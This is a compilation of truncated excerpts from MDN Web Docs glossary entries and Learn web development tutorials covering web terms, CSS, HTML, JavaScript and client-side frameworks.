Screen reader - MDN Web Docs Glossary: Definitions of Web-related terms
screen readers are software applications that attempt to convey what is seen on a screen display in a non-visual way, usually as text to speech, but also into braille or sound icons. screen readers are essential to people who are blind, as well as useful to people who are visually impaired, illiterate, or have a learning disability. there are some browser extension screen readers, but most screen readers operate system-wide for all user applications, not just the browser. in terms of web accessibility, most user agents provide an accessibility object model and screen readers interact with dedicated accessibility apis, using various operating system features and employing hooking techniques. voiceover macos comes with voiceover, a built-in screen reader. to access voiceover, go to...
Semantics - MDN Web Docs Glossary: Definitions of Web-related terms
tyling a list with li elements representing different types of fruits. would you know what part of the dom is being selected with div > ul > li, or .fruits__item? semantics in html in html, for example, the <h1> element is a semantic element, which gives the text it wraps around the role (or meaning) of "a top level heading on your page." <h1>this is a top level heading</h1> by default, most browser's user agent stylesheet will style an <h1> with a large font size to make it look like a heading (although you could style it to look like anything you wanted). on the other hand, you could make any element look like a top level heading. consider the following: <span style="font-size: 32px; margin: 21px 0;">is this a top level heading?</span> this will render it to look like a top level head...
Server - MDN Web Docs Glossary: Definitions of Web-related terms
erver) is a program that provides services to client programs or a user interface to human clients. services are provided generally over local area networks or wide area networks such as the internet. ...
Shim - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge shim on wikipedia ...
State machine - MDN Web Docs Glossary: Definitions of Web-related terms
ine is a mathematical abstraction used to design algorithms. a state machine reads a set of inputs and changes to a different state based on those inputs. a state is a description of the status of a system waiting to execute a transition. a transition is a set of actions to execute when a condition is fulfilled or an event received. in a state diagram, circles represent each possible state and arrows represent transitions between states. looking at the final state, you can discern something about the series of inputs leading to that state. there are two types of basic state machines: deterministic finite state machine this kind allows only one possible transition for any allowed input. this is like the "if" statement in that if x == true then dothis else dothat is not possible. the comp...
Style origin - MDN Web Docs Glossary: Definitions of Web-related terms
in css, there are three categories of sources for style changes. these categories are called style origins. they are the user agent origin, user origin, and the author origin. user-agent origin the user agent origin is the style origin comprised of the default styles used by the user's web browser. if no other styles are applied to content, the user agent origin's styles are used while rendering elements. user origin the user origin is the style origin containing any css that the user of the web browser has added. these may be from adding styles using a developer tool or from a browser extension that automatically applies custom styles to content, such as stylus or stylish. author origin the author origin is the style origin which contains all of the styles which are part of ...
Syntax error - MDN Web Docs Glossary: Definitions of Web-related terms
an exception caused by the incorrect use of a pre-defined syntax. syntax errors are detected while compiling or parsing source code. for example, if you leave off a closing brace (}) when defining a javascript function, you trigger a syntax error. browser development tools display javascript and css syntax errors in the console. learn more general knowledge syntax error on wikipedia syntaxerror javascript object ...
TCP handshake - MDN Web Docs Glossary: Definitions of Web-related terms
work. the three messages transmitted by tcp to negotiate and start a tcp session are nicknamed syn, syn-ack, and ack for synchronize, synchronize-acknowledgement, and acknowledge respectively. the three message mechanism is designed so that two computers that want to pass information back and forth to each other can negotiate the parameters of the connection before transmitting data such as http browser requests. the host, generally the browser, sends a tcp synchronize packet to the server. the server receives the syn and sends back a synchronize-acknowledgement. the host receives the server's syn-ack and sends an acknowledge. the server receives ack and the tcp socket connection is established. this handshake step happens after a dns lookup and before the tls handshake, when creating a secu...
TCP slow start - MDN Web Docs Glossary: Definitions of Web-related terms
knoledgements, or acks. ...
TOFU - MDN Web Docs Glossary: Definitions of Web-related terms
eate a trust relationship with an unknown server. to do that, clients will look for identifiers (for example public keys) stored locally. if an identifier is found, the client can establish the connection. if no identifier is found, the client can prompt the user to determine if the client should trust the identifier. tofu is used in the ssh protocol, in http public key pinning (hpkp) where the browsers will accept the first public key returned by the server, and in strict-transport-security (hsts) where a browser will obey the redirection rule. learn more http public key pinning (hpkp) public-key-pins wikipedia: tofu ...
Three js - MDN Web Docs Glossary: Definitions of Web-related terms
three.js is a javascript-based webgl engine that can run gpu-powered games and other graphics-powered apps straight from the browser. the three.js library provides many features and apis for drawing 3d scenes in your browser. learn more general knowledge three.js on wikipedia three.js official website ...
Transmission Control Protocol (TCP) - MDN Web Docs Glossary: Definitions of Web-related terms
...
URL - MDN Web Docs Glossary: Definitions of Web-related terms
uniform resource locator (url) is a text string that specifies where a resource (such as a web page, image, or video) can be found on the internet. in the context of http, urls are called "web address" or "link". your browser displays urls in its address bar, for example: https://developer.mozilla.org some browsers display only the part of a url after the "//", that is, the domain name. urls can also be used for file transfer (ftp) , emails (smtp), and other applications. learn more general knowledge url on wikipedia learn about it understanding urls and their structure specification the syntax of urls is defined in the url living standard. ...
WAI - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge wai website web accessibility initiative on wikipedia ...
WebAssembly - MDN Web Docs Glossary: Definitions of Web-related terms
webassembly (abbr. wasm) is an open binary programming format that can be run in modern web browsers in order to gain performance and/or provide new features for web pages. ...
WebGL - MDN Web Docs Glossary: Definitions of Web-related terms
webgl (web graphics library) is a javascript api that draws interactive 2d and 3d graphics. the khronos group maintains webgl, which is based on opengl es 2.0. you can invoke webgl within the html <canvas> element, which provides a rendering surface. all major browsers now support webgl, but its availability depends also on external factors (e.g. gpu support). learn more general knowledge webgl on wikipedia check for webgl support technical article webgl on mdn support table for webgl ...
WebIDL - MDN Web Docs Glossary: Definitions of Web-related terms
is independent of any specific programming language, so that the underlying code which is used to build each api can be written in whatever language is most appropriate, while still being possible to map the api's components to javascript-compatible constructs. webidl is used in nearly every api specification for the web, and due to its standard format and syntax, the programmers who create web browsers can more easily ensure that their browsers are compatible with one another, regardless of how they choose to write the code to implement the api. learn more technical reference specification webidl bindings webidl ...
WebKit - MDN Web Docs Glossary: Definitions of Web-related terms
webkit began life as a fork of kde's khtml and kjs libraries, but many individuals and companies have since contributed (including kde, apple, google, and nokia). webkit is an apple trademark, and the framework is distributed under a bsd-form license. ...
WebSockets - MDN Web Docs Glossary: Definitions of Web-related terms
through websocket, servers can pass data to a client without prior client request, allowing for dynamic content updates. ...
XForms - MDN Web Docs Glossary: Definitions of Web-related terms
xforms is a convention for building web forms and processing form data in the xml format. no major browser supports xforms any longer—we suggest using html5 forms instead. learn more technical reference xforms documentation on mdn ...
XHR (XMLHttpRequest) - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge xmlhttprequest on wikipedia synchronous vs. ...
XInclude - MDN Web Docs Glossary: Definitions of Web-related terms
} else if (href.match(/#$/, '') || href.match(/^#/, '')) { alert('fragment identifiers are disallowed in an xinclude "href" attribute'); return false; } var j; var xincludeparent = xinclude.parentnode; try { netscape.security.privilegemanager.enableprivilege('universalxpconnect universalbrowserread'); // necessary with file:///-located files trying to reach external sites if (href !== null) { var response, responsetype; var request = new xmlhttprequest(); request.open('get', href, false); request.setrequestheader('if-modified-since', 'thu, 1 jan 1970 00:00:00 gmt'); requ...
XLink - MDN Web Docs Glossary: Definitions of Web-related terms
relevant points in the xml tree. for those who may have found xlink 1.0 cumbersome for regular links, xlink 1.1 drops the need to specify xlink:type="simple" for simple links. xlink is used in svg, mathml, and other important standards. specification xlink 1.0 xlink 1.1 (currently a working draft) see also xml in mozilla code snippets:getattributens - a wrapper for dealing with some browsers not supporting this dom method code snippets:xml:base function - a rough attempt to find a full xlink-based on an xlink:href attribute (or <xi:include href=>) and its or an ancestor's xml:base. ...
Application Context - MDN Web Docs Glossary: Definitions of Web-related terms
if an application context is created as a result of the user agent being asked to navigate to a deep link, the user agent must immediately navigate to the deep link with replacement enabled. otherwise, when the application context is created, the user agent must immediately navigate to the start url with replacement enabled. ...
Brotli - MDN Web Docs Glossary: Definitions of Web-related terms
er context modeling, providing a compression ratio comparable to the best currently available general-purpose compression methods. brotli provides better compression ratios than gzip and deflate speeds are comparable, but brotli compressing is a slower process than gzip compression, so gzip may be a better option for the compression of non-cachable content. brotli is compatible with most modern browsers, but you may want to consider a fallback. learn more brotli.org brotli github repository brotli on wikipedia brotli on caniuse ...
minification - MDN Web Docs Glossary: Definitions of Web-related terms
minification can include the removal of code comments, white space, and unused code, as well as the shortening of variable and function names. minification is used to improve web performance by reducing file size. it is generally an automated step that occurs at build time. ...
Prerender - MDN Web Docs Glossary: Definitions of Web-related terms
when the user navigates to the prerendered content, the current content is replaced by the prerendered content instantly. ...
Property (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
a css property is a characteristic (like color) whose associated value defines one aspect of how the browser should display the element. here's an example of a css rule: /* "div" is a selector indicating that all the div elements */ /* in the document will be styled by that rule */ div { /* the property "color" with the value "black" indicates */ /* that the text will have the color black */ color: black; /* the property "background-color" with the value "white" indicates */ /* that the background color of the elements will be white */ background-color: white; } learn more general knowledge learn css technical reference the css reference on mdn the css working group current work ...
Property - MDN Web Docs Glossary: Definitions of Web-related terms
the term property can have several meanings depending on the context. it may refer to: property (css) a css property is a characteristic (like color) whose associated value defines one aspect of how the browser should display the element. property (javascript) a javascript property is a characteristic of an object, often describing attributes associated with a data structure. ...
Safe - MDN Web Docs Glossary: Definitions of Web-related terms
not all idempotent methods are safe. for example, put and delete are both idempotent but unsafe. even if safe methods have a read-only semantic, servers can alter their state: e.g. they can log or keep statistics. what is important here is that by calling a safe method, the client doesn't request any server change itself, and therefore won't create an unnecessary load or burden for the server. browsers can call safe methods without fearing to cause any harm to the server; this allows them to perform activities like pre-fetching without risk. web crawlers also rely on calling safe methods. safe methods don't need to serve static files only; a server can generate an answer to a safe method on-the-fly, as long as the generating script guarantees safety: it should not trigger external effects, ...
Speculative parsing - MDN Web Docs Glossary: Definitions of Web-related terms
some html parser, such as firefox since firefox 4, support speculative parsing off of the main thread. it parses ahead while scripts are being downloaded and executed. the html parser starts speculative loads for scripts, style sheets and images it finds ahead in the stream and runs the html tree construction algorithm speculatively. the upside is that when a speculation succeeds, there's no need to reparse the part of the incoming file that was already scanned for scripts, style sheets and images. the downside is that there's more work lost when the speculation fails. ...
Time to first byte - MDN Web Docs Glossary: Definitions of Web-related terms
this time includes dns lookup and establishing the connection using a tcp handshake and ssl handshake if the request is made over https. ...
Viewport - MDN Web Docs Glossary: Definitions of Web-related terms
content outside the viewport is not visible onscreen until scrolled into view. the portion of the viewport that is currently visible is called the visual viewport. this can be smaller than the layout viewport, such as when the user has pinched-zoomed. the layout viewport remains the same, but the visual viewport became smaller. ...
Backgrounds and borders - Learn web development
peat-y — to see what their effects are. sizing the background image in the example above, we have a large image that has ended up being cropped as it is larger than the element it is a background of. in this case we could use the background-size property, which can take length or percentage values, to size the image to fit inside the background. you can also use keywords: cover — the browser will make the image just large enough so that it completely covers the box area while still retaining its aspect ratio. in this case, part of the image is likely to end up outside the box. contain — the browser will make the image the right size to fit inside the box. in this case, you may end up with gaps on either side or on the top and bottom of the image, if the aspect ratio of the image...
Fundamental CSS comprehension - Learn web development
ts. using any technique that you know, track these down and fix them before moving on. new rulesets you need to write: write a ruleset that targets both the card header, and card footer, giving them both a computed total height of 50px (including a content height of 30px and padding of 10px on all sides.) but express it in ems. the default margin applied to the <h2> and <p> elements by the browser will interfere with our design, so write a rule that targets all these elements and sets their margin to 0. to stop the image from spilling out of the main business card content (the <article> element), we need to give it a specific height. set the <article>'s height to 120px, but expressed in ems. also give it a background color of semi-transparent black, resulting in a slightly darker shade ...
Handling different text directions - Learn web development
in the correct place no matter what the writing mode is. currently, only firefox supports flow relative values for float. if you are using google chrome or microsoft edge, you may find that the image did not float. should you use physical or logical properties? the logical properties and values are newer than their physical equivalents, and therefore have only recently been implemented in browsers. you can check any property page on mdn to see how far back the browser support goes. if you are not using multiple writing modes then for now you might prefer to use the physical versions. however, ultimately we expect that people will transition to the logical versions for most things, as they make a lot of sense once you start also dealing with layout methods such as flexbox and grid. test...
Organizing your CSS - Learn web development
ing for it — below we have used ||. /* || general styles */ ... /* || typography */ ... /* || header and main navigation */ ... you don't need to comment every single thing in your css, as much of it will be self-explanatory. what you should comment are the things where you made a particular decision for a reason. you may have used a css property in a specific way to get around older browser incompatibilities, for example: .box { background-color: red; /* fallback for older browsers that don't support gradients */ background-image: linear-gradient(to right, #ff0000, #aa0000); } perhaps you followed a tutorial to achieve something, and the css is a little non-obvious. in that case you could add the url of the tutorial to the comments. you will thank yourself when you come bac...
Test your skills: Selectors - Learn web development
in your own editor or in an online editor. selectors three in this example, try making the following changes without adding to the html. style links, making the link-state orange, visited links green, and remove the underline on hover. make the first element inside the container font-size: 150% and the first line of that element red. stripe every other row in the table by selecting these rows and giving them a background color of #333 and foreground of white. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. selectors four in this task try the following: make any paragraph that directly follows an h2 element red. remove t...
CSS building blocks - Learn web development
ll have to do it. this article provides a guide to making html tables look good, with some specific table styling techniques highlighted. debugging css sometimes when writing css you will encounter an issue where your css doesn't seem to be doing what you expect. this article will give you guidance on how to go about debugging a css problem, and show you how the devtools included in all modern browsers can help you find out what is going on. organizing your css as you start to work on larger stylesheets and big projects you will discover that maintaining a huge css file can be challenging. in this article, we will take a brief look at some best practices for writing your css to make it easily maintainable, and some of the solutions you will find in use by others to help improve maintainabi...
Test your skills: Flexbox - Learn web development
v with a class of .parent which contains another div with a class of .child. use flexbox to center the child inside the parent. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. flex layout four in this final task arrange these items into rows as in the image. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor. assessment or further help you can practice these examples in the interactive editors mentioned above. if you would like your work assessed, or are stuck and want to ask ...
Test your skills: Media Queries and Responsive Design - Learn web development
he need to test your design in multiple screen sizes we do not have an interactive editor for this task. download the code and work locally, or use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. your task download the starting point. open this in your browser and you will find a wireframed site which will load in a mobile device in a readable manner. you can drag your window smaller or use the responsive design view in firefox devtools to view this as if on a phone. your task is to create a desktop version of this layout which displays when there is enough screen width to accomodate it. you can see the layout you are aiming for in the screenshot be...
CSS first steps - Learn web development
hat css is and the basics of using it, it is time to look a little deeper into the structure of the language itself. we have already met many of the concepts discussed here; you can return to this one to recap if you find any later concepts confusing. how css works we have learned the basics of css, what it is for and how to write simple stylesheets. in this lesson we will take a look at how a browser takes css and html and turns that into a webpage. using your new knowledge with the things you have learned in the last few lessons you should find that you can format simple text documents using css, to add your own style to them. this article gives you a chance to do that. ...
Use CSS to solve common problems - Learn web development
Learn › CSS › Howto
with css. ...
Styling lists - Learn web development
the <dl> element has a top and bottom margin of 16px (1em), but no padding set. the <dd> elements have margin-left of 40px (2.5em.) the <p> elements we've in...
What text editors are available? - Learn web development
ghting for html, css, and javascript. what kind of basic features do i expect from my text editor? it depends on your needs and plans. these functionalities are often helpful: search-and-replace, in one or multiple documents, based on regular expressions or other patterns as needed quickly jump to a given line view two parts of a large document separately view html as it will look in the browser select text in multiple places at once view your project's files and directories format your code automatically with code beautifier check spelling auto-indent code based on indentation settings do i want to add extra features to my text editor? an extensible editor comes with fewer built-in features, but can be extended based on your needs. if you aren't sure which features you want, ...
How do you host your website on Google App Engine? - Learn web development
for example, for the project id gaesamplesite, go to gaesamplesite.appspot.com. ...
How does the Internet work? - Learn web development
sort of address. to make things easier, we can alias an ip address with a human readable name called a domain name. for example (at the time of writing; ip addresses can change) google.com is the domain name used on top of the ip address 173.194.121.32. so using the domain name is the easiest way for us to reach a computer over the internet. internet and the web as you might notice, when we browse the web with a web browser, we usually use the domain name to reach a website. does that mean the internet and the web are the same thing? it's not that simple. as we saw, the internet is a technical infrastructure which allows billions of computers to be connected all together. among those computers, some computers (called web servers) can send messages intelligible to web browsers. the interne...
How do I start to design my website? - Learn web development
n place orders. second, setting out actionable steps leads to new questions you'll need to answer. usually there turn out to be more questions than we originally thought. (for example, should i learn how to do all this myself, ask someone to do it for me, or use third-party services?) conclusion as you can see, the simple idea "i want to make a website" generates a long to-do list, which only grows longer as you think about it. soon it may look overwhelming, but don't panic. you don't need to answer all the questions and you don't need to do everything on your list. what matters is to have a vision of what you want and how to get there. once you have that clear vision, you need to decide how and when to do it. break down big tasks into small, actionable steps. and those small steps will add...
How do you upload your files to a web server? - Learn web development
x.html file and other assets will go. once you've found the correct remote directory to put your files in, to upload your files to the server you need to drag-and-drop them from the left pane to the right pane. are they really online? so far, so good, but are the files really online? you can double-check by going back to your website (e.g. http://demozilla.examplehostingprovider.net/) in your browser: and voilà! our website is live! rsync rsync is a local-to-remote file synchronizing tool, which is generally available on most unix-based systems (like macos and linux), but windows versions exist too. it is seen as a more advanced tool than sftp, beause by default it is used on the command line. a basic command looks like so: rsync [-options] source user@x.x.x.x:destination -option...
What are hyperlinks? - Learn web development
uctive to link to every page from every other page. when you're starting out, you don't have to worry about external and incoming links as much, but they are very important if you want search engines to find your site (see below for more details). anchors most links tie two webpages together. anchors tie two sections of one document together. when you follow a link pointing to an anchor, your browser jumps to another part of the current document instead of loading a new document. however, you make and use anchors the same way as other links. links and search engines links matter both to users and search engines. every time search engines crawl a webpage, they index the website by following the links available on the webpage. search engines not only follow links to discover the various p...
What is accessibility? - Learn web development
ociate accessibility at first with negative limitations. this building has to be accessible, so it must follow these regulations for door width and toilet size and elevator placement. that's a narrow way to think of accessibility. think of it as a wonderful way to empower people and serve more customers. what can the people in brazil do with your english website? can the people with smartphones browse a heavy, cluttered website designed for a large desktop monitor and unlimited bandwidth? they'll go somewhere else. in general, we must think about our product from the viewpoints of all our target customers, and adapt accordingly. hence accessibility. web accessibility in the specific context of the web, accessibility means that anyone can benefit from your content, regardless of disability, ...
Test your skills: Form validation - Learn web development
us for help — see the assessment or further help section at the bottom of this page. form validation 1 in this task, we are providing you with a simple support query form, and we want you to add some validation features to it: make all of the input fields mandatory to complete before the form can be submitted. change the type of the "email address" and "phone number" fields to make the browser apply some more specific validation suitable for the data being asked for. give the "user name" field a required length of between 5 and 20 characters, the "phone number" field a maximum length of 15 characters, and the "comment" field a maximum length of 200 characters. try submitting your form — it should refuse to submit until the above constaints are followed, and give suitable error m...
Test your skills: Other controls - Learn web development
, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. other controls 1 in our first "other controls" assessment, we'll get you to create a multi-line text input. create a basic multi-line text input. associate it semantically with the provided "comment" label. give the input 35 columns, and 10 rows of space in which to add comments. give the comments a maximum length of 100 characters. try updating the live code below to recreate the finished example: download the starting point for this task to work in your own editor or in an online editor. other controls 2 now it's time to have a go at implementing a drop-down select menu, to allow a user to pick their favourite food from the c...
What will your website look like? - Learn web development
your color. copy the code down somewhere safe for now. images to choose an image, go to google images and search for something suitable. when you find the image you want, click on the image to get an enlarged view of it. right-click the image (ctrl + click on a mac), choose save image as..., and choose a safe place to save your image. alternatively, copy the image's web address from your browser's address bar for later use. note that most images on the web, including in google images, are copyrighted. to reduce your likelihood of violating copyright, you can use google's license filter. click on the tools button, then on the resulting usage rights option that appears below. you should choose an option such as labeled for reuse. font to choose a font: go to google fonts and s...
Use HTML to solve common problems - Learn web development
Learn › HTML › Howto
e the less common use cases you may face: forms forms are a complex html structure made to send data from a webpage to a web server. we encourage you to go over our full dedicated guide. here is where you should start: how to create a simple web form how to structure a web form tabular information some information, called tabular data, needs to be organized into tables with columns and rows. it's one of the most complex html structures, and mastering it is not easy: how to create a data table how to make html tables accessible data representation how to represent numeric and code values with html — see superscript and subscript, and representing computer code. how to use data attributes advanced text semantics how to take control of html line breaking how to mark...
Multimedia and Embedding - Learn web development
ple image in a webpage. in this article we'll look at how to use it in more depth, including basics, annotating it with captions using <figure>, and how it relates to css background images. video and audio content next, we'll look at how to use the html5 <video> and <audio> elements to embed video and audio on our pages, including basics, providing access to different file formats to different browsers, adding captions and subtitles, and how to add fallbacks for older browsers. from <object> to <iframe> — other embedding technologies at this point we'd like to take somewhat of a sideways step, looking at a couple of elements that allow you to embed a wide variety of content types into your webpages: the <iframe>, <embed> and <object> elements. <iframe>s are for embedding other web pages,...
Function return values - Learn web development
is not a number — if so, it returns true, and if not, it returns false. if the test returns false, the num value is a number. therefore, a sentence is printed out inside the paragraph element that states the square, cube, and factorial values of the number. the sentence calls the squared(), cubed(), and factorial() functions to calculate the required values. save your code, load it in a browser, and try it out. note: if you have trouble getting the example to work, feel free to check your code against the finished version on github (see it running live also), or ask us for help. now it's your turn! at this point, we'd like you to have a go at writing out a couple of functions of your own and adding them to the library. how about the square or cube root of the number? or the circ...
Test your skills: Conditionals - Learn web development
l to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version). conditionals 1 in this task you are provided with two variables: season — contains a string that says what the current season is. response — begins uninitialized, but is later used to store a reponse that will be printed to the output panel. we want you to create a conditional that checks whether season contains the st...
Test your skills: Events - Learn web development
l to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version). dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all via javascript. we haven't explicitly...
Test your skills: Functions - Learn web development
l to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version). dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating new html elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page — all via javascript. we haven't explicitly...
Making decisions in your code — conditionals - Learn web development
just run this code } here we've got: the keyword switch, followed by a set of parentheses. an expression or value inside the parentheses. the keyword case, followed by a choice that the expression/value could be, followed by a colon. some code to run if the choice matches the expression. a break statement, followed by a semi-colon. if the previous choice matches the expression/value, the browser stops executing the code block here, and moves on to any code that appears below the switch statement. as many other cases (bullets 3–5) as you like. the keyword default, followed by exactly the same code pattern as one of the cases (bullets 3–5), except that default does not have a choice after it, and you don't need to break statement as there is nothing to run after this in the block a...
JavaScript building blocks - Learn web development
are actions or occurrences that happen in the system you are programming, which the system tells you about so you can respond to them in some way if desired. for example if the user clicks a button on a webpage, you might want to respond to that action by displaying an information box. in this final article we will discuss some important concepts surrounding events, and look at how they work in browsers. assessments the following assessment will test your understanding of the javascript basics covered in the guides above. image gallery now that we've looked at the fundamental building blocks of javascript, we'll test your knowledge of loops, functions, conditionals and events by building a fairly common item you'll see on a lot of websites — a javascript-powered image gallery. ...
Test your skills: Arrays - Learn web development
l to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version). arrays 1 let's start off with some basic array practice. in this task we'd like you to create an array of three items, stored inside a variable called myarray. the items can be anything you want — how about your favourite foods or bands? next, modify the first two items in the array using simple bracket notation and assignmen...
Test your skills: Math - Learn web development
l to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version). math 1 let's start out by testing your knowledge of basic math operators. you will have to create four numeric values, then add the first two together, then subtract the fourth from the third, then multiply the two secondary results together to get a result of 48. finally, we need to write a test that proves that this value is a...
Test your skills: Strings - Learn web development
l to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version). strings 1 in our first strings task, we start off small. you already have half of a famous quote inside a variable called quotestart; we would like you to: look up the other half of the quote, and add it to the example inside a variable called quoteend. concatenate the two strings together to make a single string containing ...
Test your skills: variables - Learn web development
ful to download the code and use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. note: in the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version). variables 1 in this task we want you to: declare a variable called myname. initialize myname with a suitable value, on a separate line (you can use your actual name, or something else). declare a variable called myage and initialize it with a value, on the same line. try updating the live code below to recreate the finish...
Test your skills: JSON - Learn web development
erstood our working with json article. note: you can try out the solution in the interactive editor below. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. note: in the example below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version). json 1 the one and only task in this article concerns accessing json data and using it in your page. json data about some mother cats and their kittens is available in sample.json. the json is loaded into the page as a text string and made available in the catstring parameter of the displaycatinfo() function, called when the pro...
Introducing JavaScript objects - Learn web development
you can even create your own objects to encapsulate related functions and variables into efficient packages and act as handy data containers. the object-based nature of javascript is important to understand if you want to go further with your knowledge of the language, therefore we've provided this module to help you. here we teach object theory and syntax in detail, then look at how to create your own objects. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. ...
Server-side website programming first steps - Learn web development
"how does it differ from client-side programming?", and "why it is so useful?". after reading this article, you'll understand the additional power available to websites through server-side coding. client-server overview now that you know the purpose and potential benefits of server-side programming, we're going to examine in detail what happens when a server receives a "dynamic request" from a browser. as most websites' server-side code handles requests and responses in a similar way, this will help you understand what you need to do when writing your own code. server-side web frameworks the last article showed you what a server-side web application needs to do in order to respond to requests from a web browser. now we show how web frameworks can simplify these tasks, and help you choose t...
Ember resources and troubleshooting - Learn web development
in any default ember project, there will be two main javascript files, vendor.js and {app-name}.js. both of these files are generated with sourcemaps, so when you open the vendor.js or {app-name}.js to search for relevant code, when a debugger is placed, the sourcemap will be loaded and the breakpoint will be placed in the pre-transpiled code for easier correlation to...
Routing in Ember - Learn web development
javascript languages, and have knowledge of the terminal/command line. a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to learn about implementing routing in ember. url-based filtering ember comes with a routing system that has a tight integration with the browser url. typically, when writing web applications, you want the page to be represented by the url so that if (for any reason), the page needs to refresh, the user isn't surprised by the state of the web app — they can link directly to significant views of the app. at the moment, we already have the "all" page, as we are currently not doing any filtering in the page that we've been working with, ...
Ember app structure and componentization - Learn web development
> </section> note: aria-label provides a label for assistive technology to make use of — for example, for a screenreader to read out. this is useful in such cases where we have an <input> being used with no corresponding html text that could be turned into a label. when you save application.hbs, the development server you started earlier will automatically rebuild the app and refresh the browser. the rendered output should now look like this: it doesn't take too much effort to get our html looking like a fully-featured to-do list app. update the application.hbs file again so its content looks like this: <section class="todoapp"> <h1>todos</h1> <input class="new-todo" aria-label="what needs to be done?" placeholder="what needs to be done?" autofocus > <secti...
Componentizing our Svelte app - Learn web development
update accordingly. that's because our todo component is receiving the todo via the prop, but it's not sending any information back to its parent. we'll fix this later on. sharing data between components: props-down, events-up pattern the bind directive is pretty straightforward and allows you to share data between a parent and child component with minimal fuss. however, when your application grows larger and more complex it can easily get difficult to keep track of all your bound values. a different approach is the "props-down, events-up" communication pattern. basically, this pattern relies on child components receiving data from their parents via props and parent components updating their state by handling events emitted from child components. so props flow down from parent to child and...
Dynamic behavior in Svelte: working with variables and props - Learn web development
a reactive statement to log the contents of newtodoname. add this snippet at the end of the <script> section: $: console.log('newtodoname: ', newtodoname) note: as you may have noticed, reactive statements aren't limited to variable declarations. you can put any javascript expression after the $: sign. now try going back to localhost:5000, pressing ctrl + shift + k to open your browser console and typing something into the input field. you should see your entries logged. at this point, you can delete the reactive console.log() if you wish. next up we'll create a function to add the new todo — addtodo() — which will push a new todo object onto the todos array. add this to the bottom of your <script> block inside src/components/todo.svelte: function addtodo() { t...
Styling Vue components with CSS - Learn web development
o our site. the reset styles should be applied to the app now. the images below show the look of the app before and after the reset is applied. before: after: noticeable changes include the removal of the list bullets, background color changes, and changes to the base button and input styles. adding global styles to single file components now that we've reset our css to be uniform across browsers, we need to customize the styles a bit more. there are some styles that we want to apply across components in our app. while adding these files directly to the reset.css stylesheet would work, we'll instead add them to the <style> tags in app.vue to demonstrate how this can be used. there are already some styles present in the file. let's remove those and replace them with the styles below. t...
Understanding client-side JavaScript frameworks - Learn web development
gin our look at frameworks with a general overview of the area, looking at a brief history of javascript and frameworks, why frameworks exist and what they give us, how to start thinking about choosing a framework to learn, and what alternatives there are to client-side frameworks. 2. framework main features each major javascript framework has a different approach to updating the dom, handling browser events, and providing an enjoyable developer experience. this article will explore the main features of “the big 4” frameworks, looking at how frameworks tend to work from a high level and the differences between them. react tutorials note: react tutorials last tested in may 2020, with react/reactdom 16.13.1 and create-react-app 3.4.1. if you need to check your code against our version...
Learn web development
. this topic gives you all you need to know. web performance — making websites fast and responsive web performance is the art of making sure web applications download fast and are responsive to user interaction, regardless of a user's bandwidth, screen size, network, or device capabilities. tools and testing this topic covers the tools developers use to facilitate their work, such as cross-browser testing tools, linters, formatters, transformation tools, version control systems, deployment tools, and client-side javascript frameworks. server-side website programming even if you are concentrating on client-side web development, it is still useful to know how servers and server-side code features work. this topic provides a general introduction to how the server-side works and detailed t...
Mozilla accessibility architecture
